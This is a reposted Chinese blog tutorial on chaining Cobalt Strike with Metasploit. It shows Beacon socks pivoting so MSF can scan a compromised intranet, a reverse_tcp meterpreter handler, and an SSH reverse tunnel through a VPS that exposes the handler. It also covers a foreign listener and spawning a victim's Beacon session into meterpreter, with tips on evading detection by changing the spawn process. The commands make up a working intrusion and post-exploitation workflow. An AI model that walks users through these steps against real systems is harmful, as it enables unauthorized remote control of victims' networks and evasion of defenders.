MSF和CS联动
轉(zhuǎn)載自Snowming04’s Blog
0x01 準(zhǔn)備工作
- 受害主機(jī):在關(guān)閉 Windows Defender 和其他一切殺軟的前提下,在 Win 10 主機(jī)下進(jìn)行的實(shí)驗(yàn)。
- MSF:本地 kali
- Cobalt Strike 團(tuán)隊(duì)服務(wù)器:Ubuntu VPS
- Cobalt Strike:3.14
團(tuán)隊(duì)服務(wù)器:
客戶端:
上線過程:
因?yàn)槲谊P(guān)閉了一切殺軟及 Windows Defender,自不必做免殺。
一些朋友搞不清楚 Windows Executable 和 Windows Executable (s) 的區(qū)別。據(jù)官方文檔說,Windows Executable 是生成一個 stager,但是 Windows Executable (s) 是 stageless 的,相當(dāng)于直接生成一個 stage。這個涉及一個分階段傳送 payload 的概念,不做過多解釋。我認(rèn)為選 Windows Executable (s) 比較好,因?yàn)?payload stager 因其體積原因,沒有一些內(nèi)建的安全特性。所以能不分階段就不分階段。
然后就點(diǎn)擊上線。
點(diǎn)擊上線之后,可以做一些基本的配置。如設(shè)置「抖動因子」或者啟動「交互式模式」。
這兩個概念官方手冊有寫,以下部分摘自 cs 官方文檔,我翻譯了一下:
請注意,Beacon 是一個異步的 payload。命令不會立即執(zhí)行。每個命令都會先進(jìn)入隊(duì)列。當(dāng) Beacon 連接到你的時候。它會下載這些命令并挨個執(zhí)行它們。此時,Beacon 會將所有的輸出報告給你。如果輸入有誤,使用 clear 命令來清理當(dāng)前 Beacon 的命令隊(duì)列。
默認(rèn)情況下,Beacon 每60秒連接到你一次。你可以使用 Beacon 的 sleep 命令修改這個時間設(shè)置。使用 sleep 接著一個秒數(shù)來指定 Beacon 連接到你的頻率。你也可以指定第二個參數(shù),這個參數(shù)必須是一個0到99之間的數(shù)字。這個數(shù)字就是抖動因子。Beacon 會根據(jù)你指定的抖動因子的百分比隨機(jī)變化下次連接到你的時間。比如,sleep 300 20這條命令,會使得 Beacon 睡眠 300秒,另外有 20% 的抖動因子。這意味著 Beacon 在每次連接到你之后會隨機(jī)睡眠 240 - 300秒。
要使得 Beacon 每秒都多次連接到你,使用 sleep 0 命令。這就是「交互式模式」。這種模式下命令會立即執(zhí)行。在你的隧道流量通過它之前你必須使得你的 Beacon 處于交互模式下。一些 Beacon 命令(如 browerpivot、desktop等)會自動的使 Beacon 在下次連接到你時處于交互式模式下。
在這里我設(shè)置為交互式模式好了:
0x02 通過 beacon 內(nèi)置的 socks 功能將本地 Msf 直接代入目標(biāo)內(nèi)網(wǎng)進(jìn)行操作
準(zhǔn)備工作說的有點(diǎn)事無巨細(xì),相信這些大家也都會。然后就開始做 CS 和 MSF 的聯(lián)動。
為什么需要 CS 和 MSF 的聯(lián)動呢?主要是兩個框架的側(cè)重點(diǎn)不一樣,盡管我們有了 Beacon,但是我們有時候還需要借助 MSF 的 scanner、exploit 這些功能模塊,而 CS 更側(cè)重后滲透、團(tuán)隊(duì)合作一些。
MSF 就是本地 Kali 自帶的 msf5:
首先,到已控目標(biāo)內(nèi)網(wǎng)機(jī)器的 Beacon 下把 socks 起起來:
beacon> getuidbeacon> socks 1080然后,通過 View → Proxy Pivots,復(fù)制生成的 MSF 代理鏈接。
本地啟動 MSF,掛著上面生成的代理鏈接,即可直接對目標(biāo)內(nèi)網(wǎng)進(jìn)行各種探測:
msf > setg Proxies socks4:1xx.1xx.57.70:1080 意思就是讓本地的 msf 走上面 cs 的 socks 代理msf > setg ReverseAllowProxy true 建雙向通道m(xù)sf > use auxiliary/scanner/smb/smb_version 拿著 msf 中的各類探測模塊對目標(biāo)內(nèi)網(wǎng)進(jìn)行正常探測即可,比如,識別目標(biāo)內(nèi)網(wǎng)所有 Windows 機(jī)器的詳細(xì)系統(tǒng)版本,機(jī)器名和所在域msf > set rhosts 192.168.56.0/24 指定 CIDR 格式的目標(biāo)內(nèi)網(wǎng)段,掩碼可根據(jù)實(shí)際情況給的大一點(diǎn),比如,0/20,0/16...msf > set threads 1 線程不宜給的太大,可根據(jù)目標(biāo)實(shí)際情況,控制在10以內(nèi)msf > run根據(jù)實(shí)際情況增強(qiáng)或削弱掩碼,從縮小或擴(kuò)大掃描的子網(wǎng)范圍。
總之,這種方法是你先有一個 CS Beacon shell,然后通過 socks 代理,把受害主機(jī)的流量代理到本地的 msf,然后本地 msf 就可以進(jìn)行一些內(nèi)網(wǎng)探測或漏洞利用。
0x03 嘗試借助 CS 的外部 tcp 監(jiān)聽器通過 ssh 隧道直接派生一個 meterpreter 的 shell 到本地
鋪墊知識:
鋪墊知識很長,但只有先了解鋪墊知識,后面的操作才會更好理解。
1、 CS Foreign Listener
在這里要借助 CS 的 Foreign 監(jiān)聽器。如圖是 CS 3.14 的監(jiān)聽器截圖(CS 4.0的監(jiān)聽器類別有了較大改變):
以下內(nèi)容引自 cs 官方文檔,我做了一下翻譯:
其中,Foreign 監(jiān)聽器支持與其他軟件的監(jiān)聽器進(jìn)行派生(spawn),如 msf 的 multi/handler。
將監(jiān)聽器設(shè)置為 foreign 并指定主機(jī)和端口后可以將 Cobalt Strike 的 payload 生成的會話轉(zhuǎn)移到 msf 中。
2、 CS 通訊模型
首先要明確的一點(diǎn)是,所謂 CS+MSF 的聯(lián)動,用大白話來說就是流量轉(zhuǎn)發(fā)。
流量轉(zhuǎn)發(fā)是 CS 與 MSF 之間的事情,與受害主機(jī)的 Beacon 無關(guān)。完全是 CS 服務(wù)器與 MSF 服務(wù)器這二者之間的流量轉(zhuǎn)發(fā)。
因?yàn)?CS 是 C/S 架構(gòu)的,那么就牽扯出一個問題:CS 轉(zhuǎn)發(fā)流量到 MSF(或相反的方向),流量是 MSF 和 CS 客戶端直連呢?還是走的 CS 的團(tuán)隊(duì)服務(wù)器進(jìn)行轉(zhuǎn)發(fā)呢?
這個就會涉及到 CS 的通訊模型:
上圖來自 Klion 的文章,是我們的客戶端與團(tuán)隊(duì)服務(wù)器的通訊模型。
以下內(nèi)容來自 cs 官方手冊,本人做了微小的翻譯工作:
Cobalt Strike 采取措施保護(hù) Beacon 的通信,確保 Beacon 只能接收來自其團(tuán)隊(duì)服務(wù)器的任務(wù)并且只能將結(jié)果發(fā)送至其團(tuán)隊(duì)服務(wù)器。
首次設(shè)置 Beacon payload 時,Cobalt Strike 會生成一個團(tuán)隊(duì)服務(wù)器專有的公鑰/私鑰對。團(tuán)隊(duì)服務(wù)器的公鑰會嵌入 Beacon 的 payload stage。Beacon 使用團(tuán)隊(duì)服務(wù)器的公鑰來加密發(fā)送到團(tuán)隊(duì)服務(wù)器的會話元數(shù)據(jù)。
Beacon 必須在團(tuán)隊(duì)服務(wù)器可以發(fā)出和接收來自 Beacon 會話的輸出之前持續(xù)發(fā)送會話元數(shù)據(jù)。此元數(shù)據(jù)包含一個由 Beacon 生成的隨機(jī)會話秘鑰。團(tuán)隊(duì)服務(wù)器使用每個 Beacon 的會話秘鑰來加密任務(wù)并解密輸出。
每個 Beacon 都使用此相同的方案來實(shí)現(xiàn)數(shù)據(jù)通道。當(dāng)在混合 HTTP 和 DNS Beacon 中使用記錄數(shù)據(jù)通道時,有和使用 HTTPS Beacon 同樣的安全保護(hù)。
請注意,當(dāng) Beacon 分階段時, payload stager 因?yàn)槠潴w積原因,沒有這些內(nèi)建的安全特性。
監(jiān)聽器是 Cobalt Strike 與 bot 之間進(jìn)行通訊的核心模塊。同時是 payload 的配置信息以及告訴 Cobalt Strike 服務(wù)器以從 payload 收連接指令。其實(shí)是位于 payload 配置上一層的抽象概念。
監(jiān)聽器由用戶定義的名稱、payload 類型、主機(jī)、端口及其他信息組成,用于定義 payload 的存放位置。
雖然這些話說的很抽象,但是總之概括其意思,就是說:
CS 的通訊模型中,客戶端不會直接與 payload 進(jìn)行連接,都是必須經(jīng)過團(tuán)隊(duì)服務(wù)器的。以團(tuán)隊(duì)服務(wù)器為中介,這是 CS 設(shè)計(jì)的一種的安全機(jī)制。
所以對于此問題:
CS 轉(zhuǎn)發(fā)流量到 MSF(或相反的方向),流量是 MSF 和 CS 客戶端直連呢?還是走的 CS 的團(tuán)隊(duì)服務(wù)器進(jìn)行轉(zhuǎn)發(fā)呢?
答案應(yīng)該是:CS 與 MSF 之間的流量轉(zhuǎn)發(fā),其實(shí)是 CS 團(tuán)隊(duì)服務(wù)器與 MSF 之間的流量轉(zhuǎn)發(fā)。客戶端作為第三方只是與 CS 團(tuán)隊(duì)服務(wù)器進(jìn)行交互。
這樣就清楚多了,確定了流量轉(zhuǎn)發(fā)的雙方對象為:
- CS 團(tuán)隊(duì)服務(wù)器(后文簡稱 TS)
- MSF 服務(wù)器
那么根據(jù)實(shí)際情況的網(wǎng)絡(luò)環(huán)境就會有如下這些可能的場景(CS團(tuán)隊(duì)服務(wù)器一般不會開在本地):
MSF 在公網(wǎng)的情況比 MSF 在本地的情況相對更好轉(zhuǎn)發(fā)一些。因?yàn)槿绻?MSF 在本地,沒有公網(wǎng) IP 地址,要想把 CS TS 的流量發(fā)到 MSF,就需要額外的處理。
3、 Spawn
下面是 cs 官方手冊中關(guān)于 spawn 的介紹,我同樣做了一點(diǎn)微小的翻譯工作:
Cobalt Strike 的 Beacon 最初是一個穩(wěn)定的生命線,讓你可以保持對受害主機(jī)的訪問權(quán)限。從一開始,Beacon 的主要目的就是向其他的 Cobalt Strike 監(jiān)聽器傳遞權(quán)限。
使用 spawn 命令來為一個監(jiān)聽器派生一個會話。此 spawn 命令接受一個結(jié)構(gòu)(如:x86,x64)和一個監(jiān)聽器作為其參數(shù)。
默認(rèn)情況下,spawn 命令會在 rundll32.exe 中派生一個會話。管理員通過查看告警可能會發(fā)現(xiàn) rundll32.exe 定期與 Internet 建立連接這種異常現(xiàn)象。為了更好的隱蔽性,你可以找到更合適的程序(如 Internet Explorer) 并使用 spawnto 命令來說明在派生新會話時候會使用 Beacon 中的哪個程序。
注:拓展閱讀——DllMain與rundll32詳解,傾旋的博客,傾旋,2019年10月2日
個人理解,實(shí)際上就是這種過程:
當(dāng)你對某個 Beacon 選擇了 spawn,就是派生,之后會讓你選擇一個 Listener:
Listener 就是位于 payload 配置上一層的抽象概念,也就是告訴 CS 團(tuán)隊(duì)服務(wù)器從 payload 收連接指令的地方,定義了 payload 的存放位置。
通過對某個 Beacon 指定 Listener 進(jìn)行派生,我們生成了新的會話。這個意思就是讓受害主機(jī)的 rundll32.exe 這個程序定期與我們指定在這個 Listener 中的地址、端口進(jìn)行連接,進(jìn)行指令的收發(fā)。
順便多說一句,在 CS 中,將 payload 注入到內(nèi)存中的命令除了 spawn,還有 inject。
具體操作:
理解了前面的鋪墊知識,下面的操作就很好理解了。
第一步: 在本地 MSF上創(chuàng)建監(jiān)聽器
到本地機(jī)器把 msf 起起來,并創(chuàng)建如下監(jiān)聽器:
msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp 注: 此處的協(xié)議格式務(wù)必要和上面 cs 外部監(jiān)聽器的協(xié)議對應(yīng),不然 meter 是無法正常回連的 msf > set lhost 192.168.113.131 注:這里填本地 MSF 服務(wù)器的 IP 地址msf > set lport 8080 msf > exploit這樣就在本地 MSF 上創(chuàng)建了一個監(jiān)聽器。
第二步:給本地 MSF 一個公網(wǎng)地址
這里通過 SSH 隧道轉(zhuǎn)發(fā):
在一臺公網(wǎng) VPS 上編輯 sshd 配置,開啟 ssh 轉(zhuǎn)發(fā)功能,重啟 ssh 服務(wù),這是所有使用 ssh 隧道轉(zhuǎn)發(fā)前的必備操作:
# vi /etc/ssh/sshd_config AllowTcpForwarding yes GatewayPorts yes TCPKeepAlive yes PasswordAuthentication yes # systemctl restart sshd.service再次回到自己本地的 Kali 中并通過 ssh 隧道做好如下轉(zhuǎn)發(fā):
# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 root@x.x.57.70 -p 27035上面命令的意思就:
\1. 通過 x.x.57.70 這臺機(jī)器把來自外部的 8080 端口流量全部轉(zhuǎn)到我本地 192.168.113.131 的 8080 端口上;
\2. 而本地 192.168.113.131 的 8080 端口上跑的又正好是 meterpreter 的監(jiān)聽器;
\3. 所以,最終才會造成 meterpreter 本地上線的效果。
隧道建立之后,習(xí)慣性的到 vps 上去看一眼,剛才通過隧道監(jiān)聽的 8080 端口到底有沒有起來,確實(shí)起起來了才說明隧道才是通的。另外,監(jiān)聽的端口不能和 vps 機(jī)器上的現(xiàn)有端口沖突,否則隧道是建不成功的。
# netstat -tulnp | grep '8080'如圖就是建立成功了。
第三步: 在 CS 上創(chuàng)建外部監(jiān)聽器
在 cs 上創(chuàng)建一個 tcp 的 foreign listener,回連端口設(shè)為 8080:
TCP 就可以,如果是 HTTP 或 HTTPS,最好用域名而不是 IP。
這里的 MSF 的公網(wǎng)地址,就是第二步中通過 SSH 隧道轉(zhuǎn)發(fā)到的 VPS 的公網(wǎng)地址。
之所以要生成這個外部監(jiān)聽器,是因?yàn)楹竺嫖覀円褂?spawn 命令,把會話轉(zhuǎn)移到 MSF 的服務(wù)器上。listener 是 spawn 命令的參數(shù)。
如果我們的 MSF 是跑在公網(wǎng)服務(wù)器上的話,就可以省去第二步中 SSH 隧道從公網(wǎng) VPS 轉(zhuǎn)發(fā)流量到本地的那步操作。
注:我看到在一些文章中,還會加一個監(jiān)聽器,用于監(jiān)聽團(tuán)隊(duì)服務(wù)器。可能是因?yàn)橐詾橹荒苡幸粋€會話,但是經(jīng)本人測試,會話 spawn 到 msf 上之后,本地 CS 客戶端依然可以操作。所以就不必多開一個對 CS TS 的監(jiān)聽器了。
第四步:spawn
派生會話的操作很簡單:
對 Beacon 選擇 spawn 選項(xiàng)(或在 Beacon shell 命令行里面輸入 spawn):
為其選擇 MSF 的 listener 作為參數(shù):
回到本地 MSF,就會發(fā)現(xiàn)相應(yīng)目標(biāo)機(jī)器的 meterpreter 已經(jīng)被直接彈回到了本地:
總之,我們完成了這樣一個操作,從而實(shí)現(xiàn)了從 CS Beacon 到本地 MSF meterpreter 的派生:
總結(jié)
- 上一篇: 产品经理,没有那么牛逼
- 下一篇: latex插入表格:三线表格、普通表格